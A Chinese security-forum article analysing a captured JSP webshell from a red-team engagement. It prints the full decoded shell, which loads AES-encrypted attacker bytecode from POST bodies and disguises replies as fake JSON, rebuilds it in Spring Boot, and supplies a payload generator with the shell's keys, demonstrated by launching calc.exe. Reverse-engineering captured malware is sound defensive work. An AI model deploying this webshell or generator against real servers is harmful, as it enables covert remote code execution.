问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从零开始的内存马分析——如何骑马反杀(一)
渗透测试
漏洞分析
安全工具
在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……
0x00 前言 ======= 在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安…… 0x01 木马分析 ========= 1.1 在线检测 -------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-0b0fe9cbf8fda90265315e1e064da51c04a4574c.png) 1.2 木马总览 -------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1a77f3f20201b4535866d9305d0d5ae4fa289b87.png) 上图是apache解析后产生的java文件和相关的字节码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1bbb327599a38b420d0fb9502285522a2b977746.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-cbf3b6742a29981293aa8cbfe8a7338f040b77e6.png) 上图是攻击方上传的木马 1.2 特定报文头 --------- ```php POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 208 ``` 报文头部,有特定的gzip 1.3 测试类 ------- 我们需要一个calc的测试类供我们测试 ```java package com.Test.Basic; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.Base64; public class Echo_Base64 { private static String parseByte2HexStr(byte[] buf){ StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){ hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(ByteCodeEvil.class.getName()); byte[] code = clazz.toBytecode(); String bytes = Base64.getEncoder().encodeToString(code); System.out.println(parseByte2HexStr(code)); System.out.println(bytes); } } ``` ```java package com.Test.Basic; import java.io.IOException; public class ByteCodeEvil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { throw new RuntimeException(e); } } } ``` ```java package com.Test.Basic; class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader); } public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length); } } ``` ```php import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.zip.GZIPInputStream; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; public class AVpayloadGenerator { /** * 加密 * * @param 需要加密的内容 * @return */ public static byte[] encrypt2(byte[] byteContent) { try { SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding // byte[] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化 byte[] result = cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } /** * base64解密,目测是魔改的base */ public static byte[] base64Encode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes(); } catch (Exception exception1) { } } return value; } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } /**将二进制转换成16进制 * @param buf * @return */ public static String parseByte2HexStr(byte buf[]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) { hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data[index] = (byte) (data[index] ^ key[i % keyLen]); i++; } return data; } public static void ReturnMes(String message){ byte[] bb = base64Decode(message.getBytes()); System.out.println(uncompress(xor(bb))); } public static byte[] uncompress(byte[] bytes) { if (bytes == null || bytes.length == 0) { return null; } ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(bytes); try { GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } } catch (Exception e) { e.printStackTrace(); } return out.toByteArray(); } /* * 执行的函数 * ByteCodeEvil 恶意类,自己构造在同一目录, * */ public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(ByteCodeEvil.class.getName()); byte[] code = clazz.toBytecode(); //String aaa="aaa"; byte buff[]; buff = encrypt2(code); // buff = encrypt2(aaa.getBytes()); String result; result = parseByte2HexStr(buff); System.out.println(result); } } ``` 如上脚本自行编写 AVpayloadGenerator.java 是一个逆向脚本,用于我们生成发送流量的报文 1.4 木马危害 -------- 该木马本质没有任何危害,疑似冰蝎类 1.5 config.jsp -------------- ```php class Loader extends ClassLoader{ public Loader(ClassLoader loader){ super(loader); } public Class loadClass(byte[] bytes){ return super.defineClass(bytes,0,bytes.length); } } public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j < len; i++) {int f = Character.digit(data[j++], 16) << 4;f |= Character.digit(data[j++], 16);out[i] = (byte)(f & 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i <= len; i++){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;} try { byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read = 0; while ((read = inputStream.read(buffer))>0){ bufferStream.write(buffer,0,read); } byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData; requestData = unHex(requestData);requestData = aes128(requestData, 2); Class payloadClass = null; if ((payloadClass = (Class) application.getAttribute("inIT"))==null){ application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData)); }else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(request); f.equals(arrOut); f.equals(requestData); f.toString(); byte[] responseData = arrOut.toByteArray(); arrOut.reset(); responseData = xor(responseData);responseData = base64Encode(responseData); arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData); } }catch (Throwable e){ } ``` 由于木马是html实体编码过后的,我们将他进行分段解密 `<jsp:declaration>` 声明变量 `</jsp:scriptlet>` 存放脚本 ### 1.5.1 实体化解码 ```php https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4383501d003de8937219212ae13d9f3f1cc06990.png) ### 1.5.2 代码恢复 我们恢复一下java代码 ```java class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader); } public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length); } } public static byte[] unHex(byte[] data) { int len = data.length; byte[] out = new byte[len / 2]; for(int i = 0, j = 0; j < len; i++) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte)(f & 0xFF); } return out; } public byte[] aes128(byte[] s, int mode) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s); } catch(Exception e) { return null; } } public static byte[] xor(byte[] data) { byte[] key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()); int len = data.length; int keyLen = key.length; int index = 0; for(int i = 1; i <= len; i++) { index = i - 1; data[index] = (byte)(data[index] ^ key[(i % keyLen)]); } return data; } public static byte[] base64Encode(byte[] bytes) { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte[]) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bytes }); } catch(Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bytes })).getBytes(); } catch(Exception e2) {} } return value; } public static byte[] base64Decode(byte[] bytes) { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { byte[].class }).invoke(decoder, new Object[] { bytes }); } catch(Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { new String(bytes) }); } catch(Exception e2) {} } return value; } try { byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read = 0; while((read = inputStream.read(buffer)) > 0) { bufferStream.write(buffer, 0, read); } byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112]; java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length); requestData = _requestData; requestData = unHex(requestData); requestData = aes128(requestData, 2); Class payloadClass = null; if((payloadClass = (Class) application.getAttribute("inIT")) == null) { application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData)); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(request); f.equals(arrOut); f.equals(requestData); f.toString(); byte[] responseData = arrOut.toByteArray(); arrOut.reset(); responseData = xor(responseData); responseData = base64Encode(responseData); arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes())); arrOut.write(responseData); arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes())); responseData = arrOut.toByteArray(); response.setStatus(200); response.setHeader("Content-Type", "application/json"); response.getOutputStream().write(responseData); } } catch(Throwable e) {} ``` 代码中的该段,伪造json返回数据,模拟正常业务 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1fed704c39fc7076f678925b4b3e2fd365fb5a9b.png) 0x02 环境搭建 ========= 2.1 springboot 搭建 ----------------- 我们首先搭建在springboot中,将config.class在jd-gui打开,我们模拟打开web页面 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3a4c6ce04cb3a3d0ee5ea351a306707cb6974d7e.png) ```java import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.IOException; class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader); } public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length); } } @Controller public class helloController { @RequestMapping("/index") @ResponseBody public String index(){ return "hello spring boot!"; } private static String parseByte2HexStr(byte[] buf){ StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){ hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte) (f & 0xFF); i++; } return out; } public static byte[] aes128(byte[] s, int mode) { try { Cipher c = Cipher.getInstance("AES"); c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s); } catch (Exception exception) { return null; } } public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data[index] = (byte) (data[index] ^ key[i % keyLen]); i++; } return data; } public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null; String str; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); str=str.replace("\n", "").replace("\r", ""); encrypted=str.getBytes(); } catch (Exception exception1) { } } return encrypted; } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } @RequestMapping("/index2") public void hh(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read=0; while ((read = inputStream.read(buffer)) > 0) { bufferStream.write(buffer, 0, read); } byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112]; java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length); requestData = _requestData; requestData = unHex(requestData); requestData = aes128(requestData, 2); Class payloadClass = null; //System.out.println(parseByte2HexStr(requestData)); ServletContext application = request.getSession().getServletContext(); if ((payloadClass = (Class) application.getAttribute("inIT")) == null) { application.setAttribute("inIT", (new Loader(getClass().getClassLoader())).loadClass(requestData)); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(request); f.equals(arrOut); f.equals(requestData); f.toString(); byte[] responseData = arrOut.toByteArray(); arrOut.reset(); responseData = xor(responseData); responseData = base64Encode(responseData); arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes())); arrOut.write(responseData); arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes())); responseData = arrOut.toByteArray(); response.setStatus(200); response.setHeader("Content-Type", "application/json"); response.getOutputStream().write(responseData); } } catch (Exception e) { e.printStackTrace(); } } } ``` 这里和源代码有所区别,我们需要补充application 也就是 `ServletContext application = request.getSession().getServletContext();` ```php import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class helloApplication { public static void main(String[] args) { SpringApplication.run(helloApplication.class,args); System.out.println("hello springboot"); } } ``` 这里是springboot的启动页面,对比,我们是可以访问到的,因此我们尝试burp发包,首先对代码进行简单分析 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a083fcb746b3fe9652cff932535d1ea2ead1ce9b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-409708974f90be17983b10ff83e8facf1b20b898.png) #### 2.1.1 类加载器 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-556bafdda921cfbb19c58323173ed5546a13833d.png) 首先,有一个类加载器,但是是直接加载字节码。 ### 2.1.2 unhex解码 unhex 16进制解码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-90bbc9d1a39a221f8817558a2e0b49fdbe219bae.png) ### 2.1.3 aes128解码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-90901f0aa5b6399b74e4941aca57e91132c1cb39.png) aes128解码,mode是2,也就是解码 ### 2.1.4 xor解码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-226ab335b8164841bf5700db3e4bf08f98f02442.png) 异或数据,生成返回页面的值 众所周知,xor两次的数据是不变的,根据马中的内容,还原出是json的返回包 ### 2.1.5 base64编解码 反射调用的base64加解密 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bc58ebcb6e6d3f5f2c79269a84a76bef9a41d842.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7258bae87ad897a5a2986787d25afe8b02eaf19e.png) ### 2.1.6 数据分片 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-dc964beccc0f43af774e77499c90b27f7bd4cd68.png) (这个分片会在前期和后期都造成很大的一个干扰) 这里的`_requestData` 在jd-gui中第一次被误以为是内置函数,被删除了,但是根据流量包分析,发包并没有反应,因此后续在大师傅的提醒下,将数据切片补全 我们首先尝试看看,不带`_requestData`的效果 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-00b289a43cf9cd19918d89300e5cfc68c7754272.png) 我们运行Test类,查看生成的字节码hex,和字节码base ```php hex:CAFEBABE0000003400280A000900180A0019001A08001B0A0019001C07001D07001E0A0006001F0700200700210100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301001D4C636F6D2F546573742F42617369632F42797465436F64654576696C3B0100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B01000D537461636B4D61705461626C6507001D01000A536F7572636546696C6501001142797465436F64654576696C2E6A6176610C000A000B0700220C0023002401000863616C632E6578650C002500260100136A6176612F696F2F494F457863657074696F6E01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E0C000A002701001B636F6D2F546573742F42617369632F42797465436F64654576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B010018284C6A6176612F6C616E672F5468726F7761626C653B29560021000800090000000000020001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000005000E0000000C000100000005000F0010000000080011000B0001000C000000660003000100000017B800021203B6000457A7000D4BBB0006592AB70007BFB1000100000009000C00050003000D000000160005000000080009000B000C0009000D000A0016000C000E0000000C0001000D000900120013000000140000000700024C0700150900010016000000020017 ``` ```php base:yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAbY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX ``` ```php 接收方:流量 ==》 unhex ==》 aes128 ==》字节码导入 发送方:字节码 ==》 aes128 ==》hex ==》流量 ``` 我们运行AVpayloadGenerators生成流量 ```php 719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8 ``` 我们给index2发送加密字节码,发送两次之后,弹出计算器,说明字节码加载成功 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-73bf6afca862293c7f353cacb2fc8e40d9fb0223.png) 我们接着开放\_requestData 我们发现,不生效了 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-57bc8260dcfae8b2f54f8709fbd151c4a4c46f57.png) 我们去查看一下,代码对传输的数据进行了分割处理 ```php {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":""} ``` 我们查看流量包中,对方使用这个json进行模拟正常业务进行传递数据 ```php POST /index2 HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: 127.0.0.1:8080 Content-Length: 1552 